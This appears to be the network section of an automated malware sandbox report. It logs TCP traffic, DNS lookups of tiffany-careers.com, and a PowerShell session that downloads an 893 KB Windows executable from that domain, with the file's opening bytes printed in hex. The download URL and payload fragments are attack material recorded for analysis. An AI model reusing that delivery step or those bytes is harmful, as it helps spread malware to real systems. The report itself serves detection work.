                                                          Dec 27, 2024 15:00:56.029457092 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.029493093 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.035721064 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.035742044 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.035852909 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.035872936 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.035914898 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.042941093 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.042957067 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.043021917 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.043039083 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.043076038 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.186737061 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.186793089 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.186953068 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.186978102 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.187016964 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.191679955 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.191698074 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.191764116 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.191781998 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.191819906 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.197916985 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.197932959 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.197979927 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.197997093 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.198030949 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.203294039 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.203308105 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.203376055 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.203394890 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.203428984 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.209867001 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.209891081 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.209964037 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.209980965 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.210020065 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.215396881 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.215419054 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.215491056 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.215507030 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.215553045 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.221683979 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.221703053 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.221766949 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.221781015 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.221817017 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.227644920 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.227662086 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.227718115 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.227739096 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.227771044 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.379093885 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.379112959 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.379208088 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.379240990 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.379287958 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.383666992 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.383686066 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.383744001 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.383764029 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.383809090 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.389455080 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.389472008 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.389539957 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.389559031 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.389615059 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.395072937 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.395091057 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.395184994 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.395205021 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.395239115 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.400280952 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.400299072 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.400341034 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.400365114 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.400379896 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.400402069 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.406307936 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.406323910 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.406373024 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.406393051 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.406409979 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.406430006 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.411431074 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.411451101 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.411521912 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.411540031 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.411556005 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.411571980 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.417368889 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.417383909 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.417458057 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.417475939 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.417511940 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.570966959 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.570995092 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.571127892 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.571155071 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.571197033 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.575838089 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.575854063 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.575923920 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.575942039 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.575982094 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.581537962 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.581583023 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.581654072 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.581681013 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.581695080 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.581722975 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.586647987 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.586663961 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.586736917 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.586759090 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.586812019 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.592544079 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.592559099 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.592627048 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.592643976 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.592685938 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.597917080 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.597932100 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.598002911 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.598027945 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.598064899 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.603892088 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.603909016 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.604119062 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.604135036 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.604175091 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.609487057 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.609503031 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.609585047 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.609612942 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.609662056 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.763030052 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.763053894 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.763113022 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.763149977 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.763168097 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.763194084 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.767695904 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.767712116 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.767769098 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.767777920 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.767815113 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.774772882 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.774791002 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.774864912 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.774890900 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.774909019 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.774930954 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.779118061 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.779136896 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.779186010 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.779191971 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.779232025 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.779248953 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.783710003 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.783726931 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.783780098 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.783787966 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.783811092 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.783832073 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.790815115 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.790831089 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.790888071 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.790895939 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.790905952 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.790939093 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.795639038 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.795674086 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.795723915 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.795731068 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.795775890 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.795775890 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.800256968 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.800272942 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.800332069 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.800339937 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.800378084 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.955260038 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.955281019 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.955488920 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.955488920 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.955559969 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.955621958 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.960500956 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.960516930 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.960562944 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.960571051 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.960597992 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.960711002 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.965379953 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.965398073 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.965466022 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.965473890 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.965517044 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.970882893 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.970899105 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.970963955 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.970972061 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.970995903 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.971005917 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.977668047 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.977686882 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.977732897 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.977741003 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.977751017 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.977792978 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.982706070 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.982722998 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.982799053 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.982808113 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.982846975 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.988486052 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.988501072 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.988579988 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.988588095 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.988627911 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.993247032 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.993263006 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.993321896 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:56.993331909 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:56.993371964 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:57.147926092 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:57.147953987 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:57.148067951 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:57.148102999 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:57.148147106 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:57.152764082 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:57.152784109 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:57.152839899 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:57.152863979 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:57.152904034 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:57.157623053 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:57.157640934 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:57.157706976 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:57.157727957 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:57.157831907 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:57.158464909 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:57.158538103 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:57.158546925 CET44349723147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:57.158596992 CET49723443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:57.159010887 CET49723443192.168.2.9147.45.49.155

                                                          UDP Packets

                                                          TimestampSource PortDest PortSource IPDest IP
                                                          Dec 27, 2024 15:00:47.610130072 CET5672953192.168.2.91.1.1.1
                                                          Dec 27, 2024 15:00:47.918257952 CET53567291.1.1.1192.168.2.9
                                                          Dec 27, 2024 15:00:59.287691116 CET5685553192.168.2.91.1.1.1
                                                          Dec 27, 2024 15:00:59.518891096 CET53568551.1.1.1192.168.2.9
                                                          Dec 27, 2024 15:01:15.090598106 CET5849953192.168.2.91.1.1.1
                                                          Dec 27, 2024 15:01:15.429806948 CET53584991.1.1.1192.168.2.9

                                                          DNS Queries

                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                          Dec 27, 2024 15:00:47.610130072 CET192.168.2.91.1.1.10x36a9Standard query (0)tiffany-careers.comA (IP address)IN (0x0001)false
                                                          Dec 27, 2024 15:00:59.287691116 CET192.168.2.91.1.1.10xc0eaStandard query (0)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsA (IP address)IN (0x0001)false
                                                          Dec 27, 2024 15:01:15.090598106 CET192.168.2.91.1.1.10x789fStandard query (0)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsA (IP address)IN (0x0001)false

                                                          DNS Answers

                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                          Dec 27, 2024 15:00:47.918257952 CET1.1.1.1192.168.2.90x36a9No error (0)tiffany-careers.com147.45.49.155A (IP address)IN (0x0001)false
                                                          Dec 27, 2024 15:00:59.518891096 CET1.1.1.1192.168.2.90xc0eaName error (3)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsnonenoneA (IP address)IN (0x0001)false
                                                          Dec 27, 2024 15:01:15.429806948 CET1.1.1.1192.168.2.90x789fName error (3)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsnonenoneA (IP address)IN (0x0001)false

                                                          HTTP Request Dependency Graph

                                                          • tiffany-careers.com

                                                          HTTPS Proxied Packets

                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          0192.168.2.949707147.45.49.1554431004C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          TimestampBytes transferredDirectionData
                                                          2024-12-27 14:00:49 UTC170OUTGET /ALGglt HTTP/1.1
                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
                                                          Host: tiffany-careers.com
                                                          Connection: Keep-Alive
                                                          2024-12-27 14:00:50 UTC397INHTTP/1.1 200 OK
                                                          etag: "da2a8-676a89c2-23c51;;;"
                                                          last-modified: Tue, 24 Dec 2024 10:15:30 GMT
                                                          content-length: 893608
                                                          accept-ranges: bytes
                                                          date: Fri, 27 Dec 2024 14:00:49 GMT
                                                          server: LiteSpeed
                                                          alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
                                                          connection: close
                                                          2024-12-27 14:00:50 UTC16384INData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 16 73 44 90 52 12 2a c3 52 12 2a c3 52 12 2a c3 14 43 cb c3 50 12 2a c3 cc b2 ed c3 53 12 2a c3 5f 40 f5 c3 61 12 2a c3 5f 40 ca c3 e3 12 2a c3 5f 40 cb c3 67 12 2a c3 5b 6a a9 c3 5b 12 2a c3 5b 6a b9 c3 77 12 2a c3 52 12 2b c3 72 10 2a c3 e7 8c c0 c3 02 12 2a c3 e7 8c f5 c3 53 12 2a c3 5f 40 f1 c3 53 12 2a c3 52 12 bd c3 50 12 2a c3 e7 8c f4 c3 53 12 2a c3 52 69 63 68 52 12 2a
                                                          Data Ascii: MZ@!L!This program cannot be run in DOS mode.$sDR*R*R*CP*S*_@a*_@*_@g*[j[*[jw*R+r**S*_@S*RP*S*RichR*
                                                          2024-12-27 14:00:50 UTC16384INData Raw: 03 03 04 55 8b ec 56 8b f1 e8 b2 01 00 00 8a 45 08 88 06 8b c6 c7 46 0c 09 00 00 00 5e 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 20 53 56 57 8b f9 89 7d f8 e8 a5 fb ff ff 8b 37 8b ce e8 04 fa ff ff 8b 06 8b 5d 08 c7 80 10 02 00 00 00 00 00 00 8b 5b 08 89 5d f4 85 db 0f 84 b2 00 00 00 53 6a 01 ff 37 e8 cd f8 ff ff 83 c4 0c 33 f6 85 db 0f 84 9b 00 00 00 8b 45 08 6a 10 8b 40 04 8b 1c b0 e8 56 c3 01 00 8b f8 83 c4 04 85 ff 74 7e 8b 0b 89 0f 8b 4b 04 89 4f 04 8b 4b 08 89 4f 08 8b 43 0c 89 47 0c ff 00 8b 5d f8 8d 45 e4 56 6a 01 50 ff 33 89 7d ec c7 45 f0 04 00 00 00 e8 04 f7 ff ff 83 c4 10 85 ff 74 21 8b 47 0c ff 08 8b 47 0c 83 38 00 0f 84 34 8d 03 00 57 e8 72 c3 01 00 83 c4 04 c7 45 ec 00 00 00 00 46 c7 45 f0 01 00 00 00 c7 45 e4
                                                          Data Ascii: UVEF^]U SVW}7][]Sj73Ej@Vt~KOKOCG]EVjP3}Et!GG84WrEFEE
                                                          2024-12-27 14:00:50 UTC16384INData Raw: 13 ca 99 3b 45 fc 0f 85 a9 88 03 00 3b d1 0f 85 a1 88 03 00 8b 45 ec 89 03 8b 55 d8 89 55 fc 8b 4b 08 85 c9 0f 85 d4 88 03 00 8b 4d e0 85 c9 0f 85 e1 88 03 00 8b 45 e4 83 f8 05 0f 8d ed 88 03 00 d9 ee dd 55 d8 c7 45 e4 03 00 00 00 8b 4e 0c 8b c1 c1 e0 06 8b 80 14 5f 4a 00 83 f8 03 0f 85 6c 89 03 00 83 f9 01 0f 85 18 8a 03 00 db 06 de d9 df e0 f6 c4 05 0f 8b 8d 89 03 00 8b 4f 1c 8b c1 c1 e0 04 03 43 0c 8b 04 85 08 5f 4a 00 83 f8 01 0f 85 93 00 00 00 83 f9 01 0f 85 6a 8b 03 00 8b 47 10 89 45 fc 8b f0 8b 43 0c 83 f8 01 0f 85 f9 8b 03 00 8b 03 3b f0 7c 29 8b 4f 04 8b 45 0c 41 89 08 8b 4d e0 85 c9 0f 85 89 8c 03 00 8b 45 e4 83 f8 05 0f 8d 8f 8c 03 00 5f 5e 5b 8b e5 5d c2 08 00 8b 75 f8 81 c6 5c 01 00 00 80 7e 09 00 0f 85 45 8c 03 00 80 7e 08 00 75 5f 8b 7e 04
                                                          Data Ascii: ;E;EUUKMEUEN_JlOC_JjGEC;|)OEAME_^[]u\~E~u_~
